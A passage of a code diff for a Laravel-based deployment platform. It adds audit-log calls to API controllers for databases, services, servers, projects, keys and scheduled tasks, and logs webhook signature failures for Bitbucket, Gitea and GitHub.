=> $database->uuid, + 'env_count' => $updatedEnvs->count(), + ]); + return response()->json($updatedEnvs)->setStatusCode(201); } @@ -3266,6 +3419,13 @@ public function create_env(Request $request) 'comment' => $request->comment ?? null, ]); + auditLog('api.database.env_created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + ]); + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); } @@ -3351,8 +3511,17 @@ public function delete_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } + $envKey = $env->key; + $envUuid = $env->uuid; $env->forceDelete(); + auditLog('api.database.env_deleted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'env_uuid' => $envUuid, + 'env_key' => $envKey, + ]); + return response()->json(['message' => 'Environment variable deleted.']); } @@ -3599,6 +3768,15 @@ public function create_storage(Request $request): JsonResponse ]); } + auditLog('api.database.storage_created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path, + ]); + return response()->json($storage, 201); } @@ -3797,6 +3975,15 @@ public function update_storage(Request $request): JsonResponse $storage->save(); + auditLog('api.database.storage_updated', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path ?? null, + ]); + return response()->json($storage); } @@ -3870,8 +4057,18 @@ public function delete_storage(Request $request): JsonResponse $storage->deleteStorageOnServer(); } + $storageType = $storage instanceof LocalFileVolume ? 'file' : 'persistent'; + $storageMountPath = $storage->mount_path ?? null; $storage->delete(); + auditLog('api.database.storage_deleted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'storage_uuid' => $storageUuid, + 'storage_type' => $storageType, + 'mount_path' => $storageMountPath, + ]); + return response()->json(['message' => 'Storage deleted.']); } } diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index 6ff06c10a..c93731d68 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -281,6 +281,14 @@ public function cancel_deployment(Request $request) } } + auditLog('api.deployment.cancelled', [ + 'team_id' => $teamId, + 'deployment_uuid' => $deployment->deployment_uuid, + 'application_id' => $application?->id, + 'application_uuid' => $application?->uuid, + 'server_id' => $deployment->server_id, + ]); + return response()->json([ 'message' => 'Deployment cancelled successfully.', 'deployment_uuid' => $deployment->deployment_uuid, @@ -518,6 +526,14 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0, ?st $message = $result['message']; } else { $message = "Application {$resource->name} deployment queued."; + auditLog('api.deployment.triggered', [ + 'resource_type' => 'application', + 'application_uuid' => $resource->uuid, + 'application_name' => $resource->name, + 'deployment_uuid' => $deployment_uuid?->toString(), + 'force_rebuild' => $force, + 'pull_request_id' => $pr, + ]); } break; case Service::class: @@ -529,6 +545,10 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0, ?st } StartService::run($resource); $message = "Service {$resource->name} started. It could take a while, be patient."; + auditLog('api.service.deployed', [ + 'service_uuid' => $resource->uuid, + 'service_name' => $resource->name, + ]); break; default: // Database resource - check authorization @@ -543,6 +563,11 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0, ?st $resource->save(); $message = "Database {$resource->name} started."; + auditLog('api.database.started', [ + 'database_uuid' => $resource->uuid, + 'database_name' => $resource->name, + 'database_type' => $resource->getMorphClass(), + ]); break; } diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php index 9a2cf2b9f..651969b97 100644 --- a/app/Http/Controllers/Api/GithubController.php +++ b/app/Http/Controllers/Api/GithubController.php @@ -271,6 +271,12 @@ public function create_github_app(Request $request) $githubApp = GithubApp::create($payload); + auditLog('api.github_app.created', [ + 'team_id' => $teamId, + 'github_app_uuid' => $githubApp->uuid, + 'github_app_name' => $githubApp->name, + ]); + return response()->json($githubApp, 201); } catch (\Throwable $e) { return handleError($e); @@ -650,6 +656,13 @@ public function update_github_app(Request $request, $github_app_id) // Update the GitHub app $githubApp->update($payload); + auditLog('api.github_app.updated', [ + 'team_id' => $teamId, + 'github_app_uuid' => $githubApp->uuid, + 'github_app_name' => $githubApp->name, + 'changed_fields' => array_values(array_diff($allowedFields, ['client_secret', 'webhook_secret', 'private_key_uuid'])), + ]); + return response()->json([ 'message' => 'GitHub app updated successfully', 'data' => $githubApp, @@ -734,8 +747,16 @@ public function delete_github_app($github_app_id) ], 409); } + $deletedUuid = $githubApp->uuid; + $deletedName = $githubApp->name; $githubApp->delete(); + auditLog('api.github_app.deleted', [ + 'team_id' => $teamId, + 'github_app_uuid' => $deletedUuid, + 'github_app_name' => $deletedName, + ]); + return response()->json([ 'message' => 'GitHub app deleted successfully', ]); diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index 092c48594..2f35ba576 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -2,6 +2,7 @@ namespace App\Http\Controllers\Api; +use App\Actions\Server\ValidateServer; use App\Enums\ProxyTypes; use App\Exceptions\RateLimitException; use App\Http\Controllers\Controller; @@ -12,6 +13,7 @@ use App\Rules\ValidCloudInitYaml; use App\Rules\ValidHostname; use App\Services\HetznerService; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -550,7 +552,7 @@ public function createServer(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -717,9 +719,17 @@ public function createServer(Request $request) // Validate server if requested if ($request->instant_validate) { - \App\Actions\Server\ValidateServer::dispatch($server); + ValidateServer::dispatch($server); } + auditLog('api.hetzner_server.created', [ + 'team_id' => $teamId, + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + 'hetzner_server_id' => $hetznerServer['id'], + 'ip' => $ipAddress, + ]); + return response()->json([ 'uuid' => $server->uuid, 'hetzner_server_id' => $hetznerServer['id'], diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 49468b597..5ac274f93 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -85,11 +85,15 @@ public function enable_api(Request $request) return invalidTokenResponse(); } if ($teamId !== '0') { + auditLog('api.instance.enable_denied', ['team_id' => $teamId], 'warning'); + return response()->json(['message' => 'You are not allowed to enable the API.'], 403); } $settings = instanceSettings(); $settings->update(['is_api_enabled' => true]); + auditLog('api.instance.enabled', ['team_id' => $teamId]); + return response()->json(['message' => 'API enabled.'], 200); } @@ -137,11 +141,15 @@ public function disable_api(Request $request) return invalidTokenResponse(); } if ($teamId !== '0') { + auditLog('api.instance.disable_denied', ['team_id' => $teamId], 'warning'); + return response()->json(['message' => 'You are not allowed to disable the API.'], 403); } $settings = instanceSettings(); $settings->update(['is_api_enabled' => false]); + auditLog('api.instance.disabled', ['team_id' => $teamId]); + return response()->json(['message' => 'API disabled.'], 200); } diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index ec2e300ff..0e5f6e93b 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -264,6 +264,12 @@ public function create_project(Request $request) 'team_id' => $teamId, ]); + auditLog('api.project.created', [ + 'team_id' => $teamId, + 'project_uuid' => $project->uuid, + 'project_name' => $project->name, + ]); + return response()->json([ 'uuid' => $project->uuid, ])->setStatusCode(201); @@ -382,6 +388,13 @@ public function update_project(Request $request) $project->update($request->only($allowedFields)); + auditLog('api.project.updated', [ + 'team_id' => $teamId, + 'project_uuid' => $project->uuid, + 'project_name' => $project->name, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json([ 'uuid' => $project->uuid, 'name' => $project->name, @@ -460,8 +473,16 @@ public function delete_project(Request $request) return response()->json(['message' => 'Project has resources, so it cannot be deleted.'], 400); } + $projectUuid = $project->uuid; + $projectName = $project->name; $project->delete(); + auditLog('api.project.deleted', [ + 'team_id' => $teamId, + 'project_uuid' => $projectUuid, + 'project_name' => $projectName, + ]); + return response()->json(['message' => 'Project deleted.']); } @@ -641,6 +662,13 @@ public function create_environment(Request $request) 'name' => $request->name, ]); + auditLog('api.project.environment_created', [ + 'team_id' => $teamId, + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'environment_name' => $environment->name, + ]); + return response()->json([ 'uuid' => $environment->uuid, ])->setStatusCode(201); @@ -723,8 +751,17 @@ public function delete_environment(Request $request) return response()->json(['message' => 'Environment has resources, so it cannot be deleted.'], 400); } + $envUuid = $environment->uuid; + $envName = $environment->name; $environment->delete(); + auditLog('api.project.environment_deleted', [ + 'team_id' => $teamId, + 'project_uuid' => $project->uuid, + 'environment_uuid' => $envUuid, + 'environment_name' => $envName, + ]); + return response()->json(['message' => 'Environment deleted.']); } } diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php index 6245dc2ec..d7b109918 100644 --- a/app/Http/Controllers/Api/ScheduledTasksController.php +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -6,6 +6,7 @@ use App\Models\Application; use App\Models\ScheduledTask; use App\Models\Service; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -33,7 +34,7 @@ private function resolveService(Request $request, int $teamId): ?Service return Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); } - private function listTasks(Application|Service $resource): \Illuminate\Http\JsonResponse + private function listTasks(Application|Service $resource): JsonResponse { $this->authorize('view', $resource); @@ -44,12 +45,12 @@ private function listTasks(Application|Service $resource): \Illuminate\Http\Json return response()->json($tasks); } - private function createTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + private function createTask(Request $request, Application|Service $resource): JsonResponse { $this->authorize('update', $resource); $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -105,15 +106,23 @@ private function createTask(Request $request, Application|Service $resource): \I $task->save(); + auditLog('api.scheduled_task.created', [ + 'team_id' => $teamId, + 'task_uuid' => $task->uuid, + 'task_name' => $task->name, + 'resource_type' => $resource instanceof Application ? 'application' : 'service', + 'resource_uuid' => $resource->uuid, + ]); + return response()->json($this->removeSensitiveData($task), 201); } - private function updateTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + private function updateTask(Request $request, Application|Service $resource): JsonResponse { $this->authorize('update', $resource); $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -161,22 +170,43 @@ private function updateTask(Request $request, Application|Service $resource): \I $task->update($request->only($allowedFields)); + auditLog('api.scheduled_task.updated', [ + 'team_id' => getTeamIdFromToken(), + 'task_uuid' => $task->uuid, + 'task_name' => $task->name, + 'resource_type' => $resource instanceof Application ? 'application' : 'service', + 'resource_uuid' => $resource->uuid, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json($this->removeSensitiveData($task), 200); } - private function deleteTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + private function deleteTask(Request $request, Application|Service $resource): JsonResponse { $this->authorize('update', $resource); - $deleted = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->delete(); - if (! $deleted) { + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { return response()->json(['message' => 'Scheduled task not found.'], 404); } + $taskUuid = $task->uuid; + $taskName = $task->name; + $task->delete(); + + auditLog('api.scheduled_task.deleted', [ + 'team_id' => getTeamIdFromToken(), + 'task_uuid' => $taskUuid, + 'task_name' => $taskName, + 'resource_type' => $resource instanceof Application ? 'application' : 'service', + 'resource_uuid' => $resource->uuid, + ]); + return response()->json(['message' => 'Scheduled task deleted.']); } - private function getExecutions(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + private function getExecutions(Request $request, Application|Service $resource): JsonResponse { $this->authorize('view', $resource); @@ -238,7 +268,7 @@ private function getExecutions(Request $request, Application|Service $resource): ), ] )] - public function scheduled_tasks_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + public function scheduled_tasks_by_application_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -317,7 +347,7 @@ public function scheduled_tasks_by_application_uuid(Request $request): \Illumina ), ] )] - public function create_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + public function create_scheduled_task_by_application_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -404,7 +434,7 @@ public function create_scheduled_task_by_application_uuid(Request $request): \Il ), ] )] - public function update_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + public function update_scheduled_task_by_application_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -474,7 +504,7 @@ public function update_scheduled_task_by_application_uuid(Request $request): \Il ), ] )] - public function delete_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + public function delete_scheduled_task_by_application_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -542,7 +572,7 @@ public function delete_scheduled_task_by_application_uuid(Request $request): \Il ), ] )] - public function executions_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + public function executions_by_application_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -601,7 +631,7 @@ public function executions_by_application_uuid(Request $request): \Illuminate\Ht ), ] )] - public function scheduled_tasks_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + public function scheduled_tasks_by_service_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -680,7 +710,7 @@ public function scheduled_tasks_by_service_uuid(Request $request): \Illuminate\H ), ] )] - public function create_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + public function create_scheduled_task_by_service_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -767,7 +797,7 @@ public function create_scheduled_task_by_service_uuid(Request $request): \Illumi ), ] )] - public function update_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + public function update_scheduled_task_by_service_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -837,7 +867,7 @@ public function update_scheduled_task_by_service_uuid(Request $request): \Illumi ), ] )] - public function delete_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + public function delete_scheduled_task_by_service_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -905,7 +935,7 @@ public function delete_scheduled_task_by_service_uuid(Request $request): \Illumi ), ] )] - public function executions_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + public function executions_by_service_uuid(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index 2c62928c2..e59c40866 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -232,6 +232,13 @@ public function create_key(Request $request) 'private_key' => $request->private_key, ]); + auditLog('api.private_key.created', [ + 'team_id' => $teamId, + 'private_key_uuid' => $key->uuid, + 'private_key_name' => $key->name, + 'fingerprint' => $fingerPrint, + ]); + return response()->json(serializeApiResponse([ 'uuid' => $key->uuid, ]))->setStatusCode(201); @@ -333,6 +340,13 @@ public function update_key(Request $request) } $foundKey->update($request->only($allowedFields)); + auditLog('api.private_key.updated', [ + 'team_id' => $teamId, + 'private_key_uuid' => $foundKey->uuid, + 'private_key_name' => $foundKey->name, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json(serializeApiResponse([ 'uuid' => $foundKey->uuid, ]))->setStatusCode(201); @@ -415,8 +429,16 @@ public function delete_key(Request $request) ], 422); } + $keyUuid = $key->uuid; + $keyName = $key->name; $key->forceDelete(); + auditLog('api.private_key.deleted', [ + 'team_id' => $teamId, + 'private_key_uuid' => $keyUuid, + 'private_key_name' => $keyName, + ]); + return response()->json([ 'message' => 'Private Key deleted.', ]); diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index c13c6665c..b33e85c78 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -13,6 +13,7 @@ use App\Models\Project; use App\Models\Server as ModelsServer; use App\Rules\ValidServerIp; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Stringable; @@ -477,7 +478,7 @@ public function create_server(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -564,6 +565,14 @@ public function create_server(Request $request) ValidateServer::dispatch($server); } + auditLog('api.server.created', [ + 'team_id' => $teamId, + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + 'ip' => $server->ip, + 'is_build_server' => (bool) $request->is_build_server, + ]); + return response()->json([ 'uuid' => $server->uuid, ])->setStatusCode(201); @@ -647,7 +656,7 @@ public function update_server(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -718,6 +727,13 @@ public function update_server(Request $request) ValidateServer::dispatch($server); } + auditLog('api.server.updated', [ + 'team_id' => $teamId, + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json([ 'uuid' => $server->uuid, ])->setStatusCode(201); @@ -807,6 +823,9 @@ public function delete_server(Request $request) } } + $deletedUuid = $server->uuid; + $deletedName = $server->name; + $deletedIp = $server->ip; $server->delete(); DeleteServer::dispatch( $server->id, @@ -816,6 +835,14 @@ public function delete_server(Request $request) $server->team_id ); + auditLog('api.server.deleted', [ + 'team_id' => $teamId, + 'server_uuid' => $deletedUuid, + 'server_name' => $deletedName, + 'ip' => $deletedIp, + 'force' => $force, + ]); + return response()->json(['message' => 'Server deleted.']); } @@ -881,6 +908,12 @@ public function validate_server(Request $request) } ValidateServer::dispatch($server); + auditLog('api.server.validated', [ + 'team_id' => $teamId, + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + ]); + return response()->json(['message' => 'Validation started.'], 201); } } diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 20560635e..11a23d46c 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -486,6 +486,14 @@ public function create_service(Request $request) StartService::dispatch($service); } + auditLog('api.service.created', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + 'service_type' => $oneClickServiceName ?? null, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json([ 'uuid' => $service->uuid, 'domains' => $service->applications()->pluck('fqdn')->filter()->sort()->values(), @@ -650,6 +658,14 @@ public function create_service(Request $request) StartService::dispatch($service); } + auditLog('api.service.created', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + 'service_type' => 'docker_compose', + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json([ 'uuid' => $service->uuid, 'domains' => $service->applications()->pluck('fqdn')->filter()->sort()->values(), @@ -792,6 +808,12 @@ public function delete_by_uuid(Request $request) dockerCleanup: $request->boolean('docker_cleanup', true) ); + auditLog('api.service.deleted', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + ]); + return response()->json([ 'message' => 'Service deletion request queued.', ]); @@ -1046,6 +1068,13 @@ public function update_by_uuid(Request $request) StartService::dispatch($service); } + auditLog('api.service.updated', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json([ 'uuid' => $service->uuid, 'domains' => $service->applications()->pluck('fqdn')->filter()->sort()->values(), @@ -1255,6 +1284,13 @@ public function update_env_by_uuid(Request $request) } $env->save(); + auditLog('api.service.env_updated', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + ]); + return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } @@ -1384,6 +1420,12 @@ public function create_bulk_envs(Request $request) $updatedEnvs->push($this->removeSensitiveData($env)); } + auditLog('api.service.env_bulk_upserted', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'env_count' => $updatedEnvs->count(), + ]); + return response()->json($updatedEnvs)->setStatusCode(201); } @@ -1506,6 +1548,13 @@ public function create_env(Request $request) 'comment' => $request->comment ?? null, ]); + auditLog('api.service.env_created', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + ]); + return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } @@ -1591,8 +1640,17 @@ public function delete_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } + $envKey = $env->key; + $envUuid = $env->uuid; $env->forceDelete(); + auditLog('api.service.env_deleted', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'env_uuid' => $envUuid, + 'env_key' => $envKey, + ]); + return response()->json(['message' => 'Environment variable deleted.']); } @@ -1668,6 +1726,12 @@ public function action_deploy(Request $request) } StartService::dispatch($service); + auditLog('api.service.deployed', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + ]); + return response()->json( [ 'message' => 'Service starting request queued.', @@ -1759,6 +1823,13 @@ public function action_stop(Request $request) $dockerCleanup = $request->boolean('docker_cleanup', true); StopService::dispatch($service, false, $dockerCleanup); + auditLog('api.service.stopped', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + 'docker_cleanup' => $dockerCleanup, + ]); + return response()->json( [ 'message' => 'Service stopping request queued.', @@ -1846,6 +1917,13 @@ public function action_restart(Request $request) $pullLatest = $request->boolean('latest'); RestartService::dispatch($service, $pullLatest); + auditLog('api.service.restarted', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'service_name' => $service->name, + 'pull_latest' => $pullLatest, + ]); + return response()->json( [ 'message' => 'Service restarting request queued.', @@ -2126,6 +2204,15 @@ public function create_storage(Request $request): JsonResponse ]); } + auditLog('api.service.storage_created', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path, + ]); + return response()->json($storage, 201); } @@ -2354,6 +2441,15 @@ public function update_storage(Request $request): JsonResponse $storage->save(); + auditLog('api.service.storage_updated', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path ?? null, + ]); + return response()->json($storage); } @@ -2454,8 +2550,18 @@ public function delete_storage(Request $request): JsonResponse $storage->deleteStorageOnServer(); } + $storageType = $storage instanceof LocalFileVolume ? 'file' : 'persistent'; + $storageMountPath = $storage->mount_path ?? null; $storage->delete(); + auditLog('api.service.storage_deleted', [ + 'team_id' => $teamId, + 'service_uuid' => $service->uuid, + 'storage_uuid' => $storageUuid, + 'storage_type' => $storageType, + 'mount_path' => $storageMountPath, + ]); + return response()->json(['message' => 'Storage deleted.']); } } diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index ffa71b55a..eda2014a6 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -58,6 +58,12 @@ public function manual(Request $request) foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_bitbucket'); if (empty($webhook_secret)) { + auditLogWebhookFailure('bitbucket', 'webhook_secret_missing', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_bitbucket_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -70,6 +76,12 @@ public function manual(Request $request) $parts = explode('=', $x_bitbucket_token, 2); if (count($parts) !== 2 || $parts[0] !== 'sha256') { + auditLogWebhookFailure('bitbucket', 'malformed_signature', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_bitbucket_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -81,6 +93,12 @@ public function manual(Request $request) $hash = $parts[1]; $payloadHash = hash_hmac('sha256', $payload, $webhook_secret); if (! hash_equals($hash, $payloadHash) && ! isDev()) { + auditLogWebhookFailure('bitbucket', 'invalid_signature', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_bitbucket_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -118,6 +136,15 @@ public function manual(Request $request) 'message' => $result['message'], ]); } else { + auditLog('webhook.deployment.queued', [ + 'provider' => 'bitbucket', + 'mode' => 'manual', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $deployment_uuid->toString(), + 'commit' => $commit, + 'repository' => $full_name ?? null, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'success', diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index 62adf5410..c6297905e 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -68,6 +68,12 @@ public function manual(Request $request) foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitea'); if (empty($webhook_secret)) { + auditLogWebhookFailure('gitea', 'webhook_secret_missing', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_gitea_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -78,6 +84,12 @@ public function manual(Request $request) } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { + auditLogWebhookFailure('gitea', 'invalid_signature', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_gitea_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -117,6 +129,15 @@ public function manual(Request $request) 'message' => $result['message'], ]); } else { + auditLog('webhook.deployment.queued', [ + 'provider' => 'gitea', + 'mode' => 'manual', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $deployment_uuid->toString(), + 'commit' => data_get($payload, 'after'), + 'repository' => $full_name ?? null, + ]); $return_payloads->push([ 'status' => 'success', 'message' => 'Deployment queued.', diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index 4158016d0..7489b433f 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -82,6 +82,12 @@ public function manual(Request $request) foreach ($serverApplications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_github'); if (empty($webhook_secret)) { + auditLogWebhookFailure('github', 'webhook_secret_missing', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'mode' => 'manual', + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -92,6 +98,12 @@ public function manual(Request $request) } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { + auditLogWebhookFailure('github', 'invalid_signature', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'mode' => 'manual', + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -131,6 +143,15 @@ public function manual(Request $request) 'message' => $result['message'], ]); } else { + auditLog('webhook.deployment.queued', [ + 'provider' => 'github', + 'mode' => 'manual', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $result['deployment_uuid'], + 'commit' => data_get($payload, 'after'), + 'repository' => $full_name ?? null, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'success', @@ -224,6 +245,13 @@ public function normal(Request $request) $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (config('app.env') !== 'local') { if (! hash_equals($x_hub_signature_256, $hmac)) { + auditLogWebhookFailure('github', 'invalid_signature', [ + 'mode' => 'app', + 'github_app_id' => $github_app->id, + 'github_app_name' => $github_app->name, + 'installation_target_id' => $x_github_hook_installation_target_id, + ]); + return response('Invalid signature.'); } } @@ -311,6 +339,17 @@ public function normal(Request $request) if ($result['status'] === 'queue_full') { return response($result['message'], 429)->header('Retry-After', 60); } + if ($result['status'] !== 'skipped' && ! empty($result['deployment_uuid'])) { + auditLog('webhook.deployment.queued', [ + 'provider' 